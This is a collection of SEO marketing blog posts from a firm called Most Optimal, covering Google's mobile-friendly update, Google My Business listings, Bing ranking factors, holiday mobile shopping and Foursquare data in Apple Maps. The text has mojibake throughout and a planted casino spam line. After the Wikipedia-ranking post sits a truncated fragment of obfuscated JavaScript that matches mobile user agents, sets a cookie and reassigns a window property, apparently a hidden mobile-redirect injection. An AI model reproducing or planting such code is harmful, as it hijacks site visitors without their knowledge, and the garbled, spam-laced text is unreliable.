Creative Commons image by Joel Bez.

Creative Commons image by Joel Bez.

While there have been rumblings about this for a couple of months now, Google has made it official: The search engine gianta��s second mobile-friendly algorithm boost is live and in effect, as planned. Hopefully, your site is already mobile-friendly, but if ita��s not, ita��s not too late to reap the benefits of getting it up to par. As quickly as Google crawls over your page, your could see your rankings go up, so check out these tips on how to get your site as mobile-friendly as possible.

If reading through that list makes your eyes glaze over, all hope is not lost. Web developers are increasingly expert at making sites compatible with smartphones and tablets, so hiring someone for this type of work should be pretty simple. Here are some things to look for in a web developer to make sure that youa��re going to get what you want.

Portfolio

As with any website pro, ita��s essential to take a look at your potential web developera��s portfolio. The important thing here is to take a look at the mobile versions of the websites given. Does it load up quickly? Does it look evenly spaced and attractive? Do all of the links and the drop-down menu options work? If the sites look strange or function awkwardly in their mobile versions, keep on looking. While youa��re at it, call references; make sure that the final product that youa��re looking at was completed as agreed by the developer in question. Ita��s no use to look at the mobile pages and use them to qualify a developer if the client ended up having to do some of the back-end work themselves.

Understanding

Be very clear in what you are looking for. Let the developer know who your target customer is and share your insights on how that customer uses your site. Your first priority for most mobile-friendly sites is speed; if the page takes too long to load up (and a�?too longa�? can mean more than a couple of seconds), your potential client might click away impatiently. Speed is of the essence in todaya��s world of instant gratification.

Future

This is not the first and most likely will not be the last algorithm boost revolving around mobile-friendliness, so if therea��s a good chance that your web developer will still be around for a few years, that will make future updates that much easier. No one can tell the future, so look for a developer who is serious about his or her work and who isna��t just doing it on the side, if possible. Otherwise, you might be looking for a new developer in a yeara��s time, or whenever the next update comes out, and ita��s much easier to simply hire the same person again.

If you have a mobile-friendly site, this new update should not affect you. If you arena��t sure if your site is up to par, type your URL into Googlea��s Mobile-Friendly Test page and see how it does. Either follow the suggestions or hire someone else to do it, using the above advice to find the right developer. Whether you invest your money or your time, it will be well worth it with a higher ranking and, hopefully, a bigger bottom line for your business.


Creative Commons image by Esther Vargas.

Creative Commons image by Esther Vargas.can mak

Google My Business is a free product that is essential for any business. With it, not only can you make your company more visible to those using Google, but you can also access all of your Google apps (Google+, Maps and search, for example) from one place. One thing to keep in mind is that GMB is not automatic: You have to claim your listing and keep it current. Another is that if you do not claim your business, you wona��t show up in local search listings. Here are some tips for making GMB work for you.

Make Sure Ita��s Accurate

If you have a type in the address or a misspelled (or mis-punctuated) version of your business name, it could highly impact how and when it shows up on local searches. Remember that on mobile searches, GPS is used to give the user the names and addresses of the nearest businesses in the chosen category; neglecting to put in the right street number or typing the address in as a�?Drivea�? when ita��s really a�?Avenuea�? is going to cause the listing to be frustratingly incorrect.

Also, double-check your business hours, whether you accept credit cards and other information shown. Therea��s nothing more annoying for a customer than to drive over and find out that you actually close early on Fridays in the summer, despite this information not being on the listing. If you have extended or shortened hours for holidays or other occasions, go in and change them within the listing, then dona��t forget to change them back once the occasion is over.

Add Details

When you choose your category, be specific. If you sell leather shoes, dona��t just choose Apparel, for example. Also, add photos; people are more likely to be interested in a company if they can see what the stock looks like and if they see a few friendly faces of employees. Find information more on wesbite online echtgeld casino. An image of the storefront or sign gives them something to look for as they drive down the street, too. If you have a restaurant, include a menu.

Combine GMB With Other Products

If youa��re trying to boost your visibility, youa��ll need to go beyond relying only on Google My Business. Combine it with an AdWords campaign; listings on Yelp, Bing and Yahoo; and ask customers for reviews on any and all platforms youa��re using. Make sure your social media accounts, directory listings and anywhere else your business appears online all have the same information: Be sure the phone number, email address, business name spelling and business hours match to avoid confusion. You dona��t want your customers seeing conflicting information and deciding to go elsewhere.

Making the most of free products that can boost your local visibility is something every business should be doing. Take some time to check the accuracy of all of your listings and to update your GMB details on a regular basis to keep coming up in local searches.


just bing it!

If you were to ask just about anyone who the biggest search engine is, theya��d rightfully answer Google. In fact, Google is used nearly two-thirds of the time when it comes to organic searches. Bing, however, has been movina�� on up in the search engine hierarchy; in addition to partnering with Yahoo, the growing engine is now powering AOLa��s search, bringing its total domain to approximately 1/3 of organic searches.

While most webmasters focus mostly on how to rank higher in Googlea��s search results, it would be remiss to neglect to consider what will help a page rank higher with Bing. Interestingly, Bing is more transparent than Google is when it comes to their algorithms, so you will have less guesswork to do if you would like to focus some or all of your sites on Bing criteria.

Some Is the Same

There are some components of a good website that will help you whether you are attempting to appeal to Google or Bing users. For example, your site needs to appeal to users. A high bounce rate tells both search engines that people are simply not receptive to your site. Your content should be well-written and should hold authority.

Click-through rates are also important. Keep this in mind as you create your ads and hyperlinks; you want people to click those links and go to your site.

Backlinks May Matter Less

Fewer of the top results from Bing contain backlinks, something that Google has relied on in their algorithms. If you are going to include backlinks, try to get them in the body of the content rather than in a sidebar or as a list at the bottom of a page.

Keyword Matching Is a Bit Iffy

While Google is genius at keyword matching, Bing seems to be a bit slower on this. When you use inbound anchor text, make sure that you are using good keywords, including long-tail keywords. The danger here is that you link too many keywords, which will set off Googlea��s spam-o-meter; keep this in mind and use moderation.

Authority Counts

Having an older domain name and older domains linking to your site will boost your ranking with Bing. New domains dona��t do as well, so if you have an older domain name that you just havena��t been using, it might make sense to use it for a while, even if only to let a newer, more preferred domain name age a bit before switching over.

There Are Tools for You to Use

Bing does seem to try to make it easier on its users by providing a webmaster guide as well as a tool to tell you how your site is doing. Check out the guide and the SEO Analyzer to measure the appeal of your site when it comes to this search engine.

Remember that while search engine rankings are important, ita��s just as important to appeal to actual humans. Speak to a professional search marketing expert at Most Optimal to learn more and to hear about what we can do for your site and your page rankings on the biggest search engines.


Creative Commons image by Phil Campbell.

Creative Commons image by Phil Campbell.

With only a few days left before Christmas, last-minute shoppers are scurrying to fill their virtual shopping carts in the hopes that the final few gifts will arrive in time for the big day. While there are no stats on how many people are procrastinating this year when it comes to finishing up their shopping, Google reports that a whopping 54% of online shoppers will be making purchases through their smartphones, and that 30% of all shopping will be happening on said phones. That is a lot of shopping taking place on small handheld devices!

This shopping is taking place all throughout the World Wide Web, but it tends to be concentrated in just a handful of digital spaces. First, people will search on Google, which is no surprise. Many will order through Amazon (or will at least use Amazon as a reference for reviews and shopping ideas) and eBay. Social media will have an impact, too; Facebook is the most popular social media site, followed by Pinterest, Instagram and Twitter. As a small business owner, what does this mean for you?

With the countdown ticking by, you need to act right now. The first and most important task at hand is to make sure that your local Google search listing is accurate. Go look right now, while ita��s on your mind. Is your address and phone number correct? Are your current (read: open-late-for-the-holidays) business hours listed, if applicable? If people cana��t find you in their mad dashes through the streets to accomplish a Santa Claus-inspired mission or they dona��t realize that you’re open a few hours later, they are not going to be able to purchase your goods or services.

You can place ads on Google to run for the next couple of days. Product Listing Ads have better quality and more details than the regular paid search text listings, so consider spending the extra money temporarily.

Check your website to make sure ita��s mobile-optimized. On many platforms, this is a matter of clicking a few buttons, but on others, youa��ll need some technical know-how. Having a less-than-friendly mobile site will frustrate shoppers and will cause Google to knock your listing down a few pegs (or a few pages). If you are not sure where to begin, check out this article by the Google Developers.

Next, make a quick review of your social media presence. Yes, you can go ahead and pay for your ad to be shown or your posts to be boosted on Facebook. In these final moments before Christmas, last-minute shoppers want you to make it easy on them. In addition, consider whipping up a quick gift guide or a piece on the benefits of *insert your widget here* and posting that on your business Facebook timeline. Tweet them on your Twitter account, too.

Take some photos, if you dona��t already have them, and get them uploaded onto Pinterest and/or Instagram. Dona��t forget to add a link to your website! On Instagram, you will need to add it to your account description; placed in the comments, it will not be an active link. Be sure to use Instagram hashtags like #lastminutegiftideas, #Christmasshopping, and words that buyers would use to describe your product or service. Use descriptive words in your Pinterest description fields, too.

The heat is definitely on as we head into the last few days of 2015, but these tips will serve you well into 2016, as well. Happy Holidays from Most Optimal!

 


How can you use the Foursquare partnership with Apple Maps to your advantage?

How can you use the Foursquare partnership with Apple Maps to your advantage?

With upwards of 94 million iPhones in use during the first quarter of 2015, ita��s safe to say that lots and lots of people are using the Apple Maps app while out and about. In fact, if youa��ve ever asked Siri how to get to the nearest coffeeshop, to a specific address or, feeling hopelessly lost, how to get home, youa��ve likely used Apple Maps yourself. (In 2012, Apple switched its default map program from Google Maps to Apple Maps.)

It was recently discovered and reported on SearchEngineLand that Foursquare is now playing a part in supplying Apple Maps with information, as evidenced as its appearance on Apple Mapsa��s acknowledgement and copyrights page. This means that when you ask Siri to give you directions to the best place to get a slice of pizza, she will no longer refer solely on the reviews and information on TripAdvisor or Booking.com, but will also take Foursquarea��s information into consideration.

So, what does this mean for you? Your business might already have a listing on Foursquare; if it does, it might also have a star rating and some reviews. By claiming the listing as your own, you can add photos, list your hours of operation, add links to your website, and so on. You can also pay Foursquare to promote your listing, which can boost your overall visibility.

Some other ideas for promoting your Foursquare account are:

Asking your customers to leave you a review. Ask your happy customers to rate your business on Foursquare and, if they want to, to leave a review. The higher your star rating, the more likely iPhone and Apple Maps users will want to check you out when theya��re looking for the services that you provide. You can add an incentive, too; offer customers 10% off their next order or purchase if they leave you a review.

Using your Foursquare reviews in ads or testimonials. If youa��re placing ads, link a good testimonial to your Foursquare site. This will allow potential buyers to see all of your ratings.

Link your Foursquare account to your social media accounts and website. While your typical Siri-user might be driving or in a rush, others using Apple Maps and Foursquare will be looking for more information. Include your contact information, including your social media links, in your Foursquare listing to get more hits (and, hopefully, sales). It should go without saying that your social media accounts should be updated regularly if youa��re going to promote them.

With this recent partnership between Foursquare and Apple Maps, you now have a greater opportunity to reach new customers and clients who use these apps. Since the relationship between these two services seems to be somewhat new, it will take some time to see what impact it will have. Making sure that your listings are updated on all platforms is a wise move, no matter what the overall effect from this change turns out to be.

Creative Commons image courtesy of Nan Palmero.


a bar graph

15087456064_be1faf2e6a_zYou might have heard rumblings over the summer that Wikipediaa��s rankings had fallen due to Google algorithm changes. Ita��s true; MOZ and Stone Temple Consulting have verified that yes, the online encyclopedia was coming up less often than it had in the past.

What might surprise you, however, is that Wikipedia was (and is) still coming up higher than Google sites. Interestingly, commercial searches are more likely to bring up Wikipedia sites, while informational searches are bringing up more Google sites (but Wikipedia is still ahead).

The drop is not significant enough to make anyone think that Wikipedia is going anywhere any time soon, but it was enough to be noticed by Wikipedia and by analysts.

You can read more about the studies on Search Engine Land.

Whata��s the takeaway here?

Ita��s important to keep in mind that algorithms change frequently, and a long-term vision and strategy is more important than trying to adjust for every up and down. If your Google ranking is dropping consistently, this is a problem worth looking into and fixing. If ita��s fluctuating a bit, therea��s usually no need to worry; even Googlea��s own links and sites fluctuate! Keep an eye on your sitea��s trends and be proactive if you see a consistent drop, but dona��t panic if ita��s mild and temporary.

Also, the fact that even a site as large and reliable as Wikipedia can drop pretty significantly is a good indication that an expert in rankings might mean the difference between a small company having a position on the first page of local search results. At Most Optimal, we focus on keeping our clientsa�� Google rankings as high as possible. Please contact us if you want to talk about your ranking and what we can do to help you raise it. 32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


mobile search
mobile search

CC image courtesy of Japanexperterna.se

Everywhere you go, people are staring at their smartphones. It might be a disconcerting trend, but ita��s not unheard of to see a party of six at a restaurant all looking at their screens instead of interacting. Like it or not, this is the way of the 21st century, and this dependence on tiny mobile devices is actually impacting your business, even if youa��re not in a field that has anything to do with technology or the Internet.

How, you ask? Well, you almost certainly have a website, and you likely get a solid percentage of your clients or customers because they looked you up on the World Wide Web. This has been the case for a decade or more, but the reliance on smartphones makes a big difference: If your site isna��t mobile-friendly, it will not only frustrate people looking for your information, but they might not even learn about you in the first place, thanks to Googlea��s latest a�?Mobilegeddona�? update.

How many people are we talking about? Well, the number of mobile searches surpassed the number of desktop searches by about a billion searches in 2014. While the number of desktop searches is expected to remain fairly constant over the next five years, if current trends continue, the number of mobile searches will more than double over the same time period!

What does this mean for you? First, your marketing dollars should reflect the changes. While you might be concentrating mostly on ads geared toward PC or Mac users, ita��s time to start shifting your funds to the mobile ad market. All of those people with their noses in their phones in restaurants, shopping malls, homes and (hopefully the passenger seats of) cars are able to be marketed to, and they are: While the majority of people still use their PCs to make actual purchases, much of the shopping and searching is done via smartphone. Take advantage of this!

Of course, you also need to make sure that your website is mobile-friendly. Google will place your site lower on the search result pages if your site isna��t up to snuff. What does that mean? Your links need to be easy to touch on a small smartphone screen, your fonts must be easy to read, your site must load up quickly on mobile devices, and all parts of the site need to be easily seen on the screen without scrolling.

A smart and savvy business owner will make sure that his or her site is easy to use and easy to find on mobile devices. Whether or not you like the tendency to use screens 24 hours per day, seven days per week, this trend isna��t going anywhere, so ita��s wise to embrace it and use it to your advantage.

Most Optimal is the home of experts in local search marketing, search engine optimization and other facets of digital marketing. If you are interested in our services, we are offering a 14-day free trial. During this period, you will receive a website audit and analysis, along with actionable suggestions on how you can appeal to mobile and desktop users alike to attract more customers and raise your bottom line. Contact us or sign up for your free trial today.


Google mobilegeddon
mobilegeddon

CC image courtesy of Carlos Luna

You may have heard the hullaballoo about what was affectionately termed a�?Mobilegeddona�? a couple of months ago. If not, herea��s a quick recap:

Googlea��s latest algorithm change was to ensure that the sites coming up in mobile searches (i.e. on smartphones) would be mobile-friendly. This means that the sites would load quickly on mobile devices, the links would be easy to open on a tiny touch-screen, and users wouldna��t have to scroll from side to side or up and down to see the entire mobile page. Websites that were not deemed mobile-friendly would still come up with their original rankings on searches performed via laptop, PC, Mac or tablet, but would be pushed further down the list on searches performed with smartphones.

Sounds simple, right? Some businesses might not have worried about it, figuring that most of their clientele were using devices other than smartphones to search for their websites anyway. Unfortunately, ita��s those very businesses who have noticed a drop in their rankings.

As Brandon Prettyman, a website strategist quoted by searchenginewatch.com explained, small businesses might lack the resources and know-how involved in making a site mobile-friendly. What they might not have realized is that many customers will search and shop on their phones, then switch to a computer to make their purchase. So if your company is not coming up on mobile searches, youa��re already at a disadvantage when the time comes for a customer to log onto their laptop and make a purchase.

If you are among the sizable percentage (40 to 50 percent) of small or medium-sized businesses to be affected by this change, ita��s not too late to get your website up to par. The first thing you should do is run the Mobile-Friendly Test. This is a Google tool that will analyze your site and let you know what needs to be done in order to make it mobile-friendly. You can make the changes yourself if youa��re technologically savvy or you can hire a web developer to go in and fix the site. If youa��re doing it yourself, or even if youa��re hiring someone to do it for you, take a look at these common mistakes people make when trying to upgrade their mobile-friendliness.

It is important to keep things in perspective, however. With approximately 200 factors that go into the Google algorithm that decides where your website falls in the search results, this one on its own is not going to make or break your success. This latest change is taken into consideration along with all of the other factors. If your site is the best answer to a search query, ita��s likely that it will still show up on the first page of mobile search results; at the same time, if ita��s not the best answer, but one of a dozen or a hundred, thata��s where mobile-friendliness is going to be an issue.

If you have questions about Mobilegeddon or about anything else pertaining to SEO, digital marketing or local search results, the gurus at Most Optimal can help. Please sign up for your 14-day free trial to claim your free site audit and analysis.